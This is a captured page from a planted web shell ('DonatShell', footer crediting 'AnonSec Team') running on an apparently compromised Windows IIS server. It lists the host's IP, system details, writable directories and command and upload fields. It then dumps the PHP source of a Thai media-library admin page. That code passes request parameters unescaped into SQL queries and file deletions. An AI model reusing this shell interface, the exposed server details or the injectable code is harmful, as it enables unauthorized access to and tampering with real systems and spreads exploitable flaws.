DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.25
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/umedia3/login.upload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/umedia3/login.upload/index.php
<?
include("../inc/config.inc.php");
	loginchk_lib();

	if ($mode=="ticket") {
		if ($allowid=="yes") {
			tmq("update  media_ftitems set needticket='yes' where id='$ftid' ");
		}
		if ($cancelid=="yes") {
			tmq("update media_ftitems set needticket='' where id='$ftid' ");
		}
		$chk=tmq("select * from media_ftitems where id='$ftid' ");
		$chk=tmq_fetch_array($chk);
		if ($chk[needticket]=="yes") {
			?><style>
BODY {
	background-color: #FFF0E6;
}
			</style>
			<?
			echo "<B style='font-size: 15; color: darkred'>ต้องการรหัสผ่าน</B> <BR><A HREF='index.php?mode=ticket&ftid=$ftid&cancelid=yes' style='font-size:12; color: darkgreen'>ไม่ต้องใช้รหัสผ่าน</A> <BR><A HREF='../login.ticket/index.php?fftmode=add&mid=$chk[mid]&ftid=$ftid' target=_top style='font-size:12; color: #22304F' class=a_btn>เพิ่มรหัสผ่านสำหรับดู</A>";
			$tcc=tmq("select * from ticket where for_ftid='$ftid' ");
			echo " <FONT style='font-size:12; color: #22304F' >(".number_format(tmq_num_rows($tcc)).")</FONT>";
		} else {
			?><style>
BODY {
	background-color: #E6FFE8;
}
			</style>
			<?			echo "<B style='font-size: 15; color: darkgreen'>ไม่ต้องการรหัสผ่าน</B> <BR><A HREF='index.php?mode=ticket&ftid=$ftid&allowid=yes' style='font-size:12; color: darkred'>ให้ใช้รหัสผ่าน</A>";
		}

		die;
	}
	head();
	 include("_REQPERM.php");
	 mn_lib();
$now=time();
if ($setcover!="") {
	 	tmq("update media_ftitems set iscover='no' where mid='$mid'  ");
	 	tmq("update media_ftitems set iscover='yes' where mid='$mid' and id='$setcover' ");
		//printr($ffdat);
}

if ($setfilenamedisplay!="") {
	 	tmq("update media set filenamedisplay='$setfilenamedisplay' where randid='$mid'  ");
		//printr($ffdat);
}

if ($setisdocument!="") {
	$c=tmq("select * from media_ftitems where mid='$mid' and id='$setisdocument'");
	$c=tmq_fetch_array($c);
	if ($c[isdocument]=="yes") {
		$setas="no";
	} else {
		$setas="yes";
	}
	 	tmq("update media_ftitems set isdocument='$setas' where mid='$mid' and id='$setisdocument' ");
		//printr($ffdat);
}

if ($setcoveranddisplay!="") {
	$c=tmq("select * from media_ftitems where mid='$mid' and id='$setcoveranddisplay'");
	$c=tmq_fetch_array($c);
	if ($c[coveranddisplay]=="yes") {
		$setas="no";
	} else {
		$setas="yes";
	}
	 	tmq("update media_ftitems set coveranddisplay='$setas' where mid='$mid' and id='$setcoveranddisplay' ");
		//printr($ffdat);
}

if ($deleteid!="") {
	$s=tmq("select * from media_ftitems  where id ='$deleteid' ");
	$s=tmq_fetch_array($s);
	$uploaddir ="$dcrs/_fulltext/$s[fttype]/$s[mid]/";
	
	@unlink($uploaddir.$s[filename]);
	@unlink($uploaddir."thumb.$s[filename]");
	@unlink($uploaddir."$s[filename].thumb.jpg");
	@unlink($uploaddir."$s[filename].thumbimg.jpg");
	@unlink($uploaddir."$s[filename].text.txt");
	@unlink($uploaddir."$s[filename].orig.jpg");
	
	//echo($uploaddir.$s[filename]);
	//echo($uploaddir."thumb.$s[filename]");
	tmq(" delete from media_ftitems where id='$deleteid' ");
	tmq(" delete from media_ftitems_anno where ftid='$deleteid' ");
	
		 	tmq("insert into media_edittrace set 
		login='$useradminid',
		dt='$now',
		bibid='$mid',
		edittype='Delete File ID=$deleteid'		");
}
if ($fftmode=="delete") {
	 	tmq("insert into media_edittrace set 
		login='$useradminid',
		dt='$now',
		bibid='$mid',
		edittype='Delete URL ID=$fftdeleteid '		");
		//printr($ffdat);
}
if ($ffe_issave=="yes") {
	 	tmq("insert into media_edittrace set 
		login='$useradminid',
		dt='$now',
		bibid='$mid',
		edittype='fulltext URL ".addslashes($ffdat[text])." url=".addslashes($ffdat[filename])."  '		");
		//printr($ffdat);
}

$tbname="media_ftitems";
?><br /><?
if ($addmode=="url") {
?>
<table border="0" cellpadding="0" cellspacing="0"width=780 align=center>
<form action="index.php">
<input type="hidden" name="mid" value="<? echo $mid;?>" />
<input type="hidden" name="addmode" value="url_save" />

<tr>
  <td class=table_head>URL</td>
  <td class=table_td><input type="text" name="url" /></td>
</tr>
<tr>
  <td class=table_head><? echo getlang("ข้อความ::l::Text");?></td>
  <td class=table_td><input type="text" name="text" /></td>
</tr>

<tr>
  <td class=table_td colspan=2 align=center><button type="submit" value=" Save "></button></td>
</tr>
</form>
</table>
<?
}	


?>


<table border="0" cellpadding="0" cellspacing="0" width=780 align=center>
<tr valign=top><td class=table_head width=150><b style='font-size: 16'><? echo getlang("เพิ่มเนื้อหาให้::l::Adding content to");?></b></td>
<td  class=table_td><? echo marc_gettitle($mid);?> &nbsp; <BR><CENTER><? echo " <a href='$dcrURL/dublin.php?ID=$mid' target=_blank class=a_btn>".getlang("ดูรายละเอียด::l::View")."</a>" ?></CENTER></td></tr>

<tr>
  <td align=center class=table_td colspan="1"></td>
	<td align=center ><b style='font-size: 18;color: #808080'><?
	 echo getlang("อัพโหลดไฟล์เสร็จแล้วคลิก <a href='../login.metadata/'>กลับไปรายการ</a>::l::When finish click <a href='../login.metadata/'>Back to Database</a> ");?></b></td>
</tr>
</table>
<BR>
<table border="0" cellpadding="0" cellspacing="0" width=600 align=center>
<FORM METHOD=POST ACTION="index.php">
<INPUT TYPE="hidden" NAME="mid" value="<? echo $mid;?>">
	<tr valign=top><td class=table_head><b style='font-size: 16'><? echo getlang("ตัวเลือกการแสดงชื่อไฟล์::l::File name displaying option");?></b></td>
<td  class=table_td>
<?
		$oldval=tmq("select * from media where randid='$mid' ");
		$oldval=tmq_fetch_array($oldval);

frm_genlist("setfilenamedisplay","select * from filenamedisplay order by name","id","name","","no",$oldval[filenamedisplay]);
?> <INPUT TYPE="submit" value="OK">
</td></tr>
</FORM>

</table>
<?


$c[2][text]="Mid::l::Mid";
$c[2][field]="mid";
$c[2][fieldtype]="addcontrol";
$c[2][descr]="";
$c[2][defval]=$mid;
if ($setdef_url=="") {$setdef_url="http://";}
$c[3][text]="URL";
$c[3][field]="filename";
$c[3][fieldtype]="text";
$c[3][descr]="";
$c[3][defval]=$setdef_url;

if ($fftmode=="edit") {
	 $chk=tmq("select * from $tbname where id='$ffteditid' ");
	 $chk=tmq_fetch_array($chk);
	 if ($chk[uploadtype]=="upload") {
	 		$c[3][fieldtype]="readonlytext";
	 }
}

$c[4][text]="Fttype::l::Fttype";
$c[4][field]="fttype";
$c[4][fieldtype]="addcontrol";
$c[4][descr]="";
$c[4][defval]="";

$c[5][text]="Text::l::Text";
$c[5][field]="text";
$c[5][fieldtype]="text";
$c[5][descr]="";
$c[5][defval]=$setdef_name;

$c[6][text]="Uploadtype::l::Uploadtype";
$c[6][field]="uploadtype";
$c[6][fieldtype]="addcontrol";
$c[6][descr]="";
$c[6][defval]="url";


//dsp



$dsp[3][text]="Filename/URL";
$dsp[3][field]="filename";
$dsp[3][filter]="module:locallinkoutbtn";
$dsp[3][width]="30%";
/*
$dsp[4][text]="Contenttype";
$dsp[4][field]="fttype";
$dsp[4][filter]="foreign:$dbname,media_fttype,code,name";
$dsp[4][width]="15%";
*/


$dsp[5][text]="ข้อมูลเพิ่มเติม::l::Attach Info";
$dsp[5][field]="text";
$dsp[5][filter]="module:local_att";
$dsp[5][width]="30%";

$dsp[6][text]="<font color=red>ลบ</font>::l::<font color=red>Del</font>";
$dsp[6][field]="id";
$dsp[6][align]="center";
$dsp[6][filter]="module:localdelbtn";
$dsp[6][width]="7%";

$dsp[10][text]="ภาพปก::l::Cover";
$dsp[10][field]="id";
$dsp[10][align]="center";
$dsp[10][filter]="module:local_cover";
$dsp[10][width]="20%";

$dsp[11][text]="ตั้งเป็นเอกสารประกอบ::l::Attatch document";
$dsp[11][field]="id";
$dsp[11][align]="center";
$dsp[11][filter]="module:local_document";
$dsp[11][width]="7%";

	
$o[addlink][] = "mediacontent.upload.php?mid=$mid::<img border=0 src='../neoimg/Up.gif' align=absmiddle> ".getlang("Advanced Upload")."::_self";
$o[addlink][] = " mediabasic.php?mid=$mid::<img border=0 src='../neoimg/Up.gif' align=absmiddle> ".getlang("Basic Upload")."::_self";
$o[addlink][] = "picker.pre.php?mid=$mid::".getlang("ไฟล์บนเซิร์ฟเวอร์::l::Files on server")."::_self";
$o[addlink][] = "ordermain.php?mid=$mid::".getlang("เรียงลำดับ::l::Order")."::_self";


$o[undelete][field]="uploadtype";
$o[undelete][value]="upload";

$o[text_addlink]="<img border=0 src='../neoimg/AddGray.png' align=absmiddle> เพิ่มลิงค์";
//$o[unedit][field]="uploadtype";
//$o[unedit][value]="upload";

function locallinkoutbtn($wh) {
	global $dcrURL;
	//printr($wh);
	if (strlen($wh[filename])>20) {
		$add='..';
	}
	//printr($wh);
	$ico=index_fticon($wh,40,40,"return");
	if ($wh[uploadtype]=="url") {
		 $link= "<a href=\"$wh[filename]\" target=_blank class=smaller2>".substr($wh[filename],0,20)."$add</a>";
	} else {
		 $link= "<a href=\"$dcrURL/_fulltext/$wh[mid]/$wh[filename]\" target=_blank class=smaller2>".substr($wh[filename],0,20)."$add</a>";
	}
	return "<TABLE width=100%>
	<TR valign=top>
		<TD width=50>$ico</TD>
		<TD>$link</TD>
	</TR>
	</TABLE>";
}

function localdelbtn($wh) {
    global $mid;
    global $cfrm;
				if ($wh[uploadtype]=="upload") {
				 				 return "<a href='./index.php?deleteid=$wh[id]&mid=$mid' onclick=\"return confirm('$cfrm')\">".getlang("ลบ::l::Del")."</a>";
				} else {
							  return "-";
				}
}

function local_cover($wh) {
    global $mid;
    global $startrow;
	$ext=explode('.',$wh[filename]);
	$ext=$ext[count($ext)-1];
	$ext=strtolower($ext);
	$imgext=explode(',',barcodeval_get("sysconfig-o-imageextension"));
	if (in_array($ext,$imgext)) {

		if ($wh[iscover]=="yes") {
			$s= "<FONT COLOR=#336600 class=smaller2>".getlang("เป็นภาพปก::l::Cover")."</FONT><BR>";
			if ($wh[coveranddisplay]=="yes") {
				$s.= "<B><FONT class=smaller2>แสดงในรายการ</FONT></B><BR><a href='./index.php?setcoveranddisplay=$wh[id]&mid=$mid&startrow=$startrow' class=smaller2 style='color: darkred'>".getlang("ซ่อนจากรายการไฟล์::l::hide file list")."</a>";
			} else {
				$s.= "<B><FONT class=smaller2>ไม่แสดงในรายการ</FONT></B><BR><a href='./index.php?setcoveranddisplay=$wh[id]&mid=$mid&startrow=$startrow' class=smaller2 style='color: darkgreen'>".getlang("แสดงในรายการไฟล์ด้วย::l::Show in file list")."</a>";
			}
			return $s;
		} else {
			return "<a href='./index.php?setcover=$wh[id]&mid=$mid&startrow=$startrow' class=smaller2>".getlang("ตั้งเป็นภาพปก::l::Set as Cover")."</a>";
		}
	} else {
		return "-";
	}
}

function local_document($wh) {
    global $mid;
    global $startrow;

		if ($wh[isdocument]=="yes") {
			return "<a href='./index.php?setisdocument=$wh[id]&mid=$mid&startrow=$startrow' class=smaller2 style='color: darkred'>".getlang("ยกเลิกเป็นเอกสารประกอบ::l::Unset Document")."</a>";
		} else {
			return "<a href='./index.php?setisdocument=$wh[id]&mid=$mid&startrow=$startrow' class=smaller2 style='color: 999999'>".getlang("ตั้งเป็นเอกสารประกอบ::l::Set as Document")."</a>";
		}

}
$typedb=tmq_dump2("dbfulltext_cate","code","name,attatchtype");

function local_att($wh) {
    global $mid;
    global $dcrs;
    global $dcrURL;
    global $typedb;
	$typeid=get_fttypecode($wh);
	$name=getlang($typedb[$typeid][0]);
	//printr($typedb[$typeid]);
	$uploaddir ="$dcrs/_fulltext/$wh[fttype]/$wh[mid]/";
	$s="<FONT class=smaller>$name</FONT><BR>";
	if ($typedb[$typeid][1]=="thumbimg") {
		$uploaddir ="$dcrs/_fulltext/$wh[fttype]/$wh[mid]/";
		$s.="<A HREF='att.thubmimg.php?mid=$mid&editid=$wh[id]' class=smaller>".getlang("แก้ไขภาพย่อ::l::Edit screenshot")."</A><BR>";
		if ($typeid=="flv") {
			$s.="<A HREF='att.captureflv.php?mid=$mid&editid=$wh[id]' class=smaller2>".getlang("Capture ภาพย่อ::l::Capture Frame")."</A><BR>";
		}
		if (file_exists($uploaddir."$wh[filename].thumbimg.jpg")) {
			$s.="<img src='$dcrURL/_fulltext/$wh[fttype]/$wh[mid]/$wh[filename].thumbimg.jpg' border=1 width=120>";
		}
	}
	if ($typedb[$typeid][1]=="text") {
		$s.="<A HREF='att.text.php?mid=$mid&editid=$wh[id]' class=smaller>".getlang("แก้ไขข้อความแนบ::l::Edit attach text")."</A><BR>";
		if (file_exists($uploaddir."$wh[filename].text.txt")) {
			$tmp=@file_get_contents($uploaddir."$wh[filename].text.txt");
			$tmp=base64_decode($tmp);

			if (strlen($tmp)>40) {
				$add='..';
			}
			$s.="<FONT class=smaller2>".substr($tmp,0,100)."$add</FONT>";
		}
	}
	if ($wh[iscover]!="yes") {
		$s.="<iframe style='border: solid 2px #73170D;' width=200 height=80 src='index.php?mode=ticket&ftid=$wh[id]' ></iframe>";
	}
	return $s;
}

fixform_tablelister($tbname," mid='$mid' ",$dsp,"yes","yes","yes","mid=$mid",$c," iscover desc, ordr, text,id desc",$o);

index_indexft($mid,true,true);
?>

<?
index_reindex($mid);
foot();
?>

Anon7 - 2022
AnonSec Team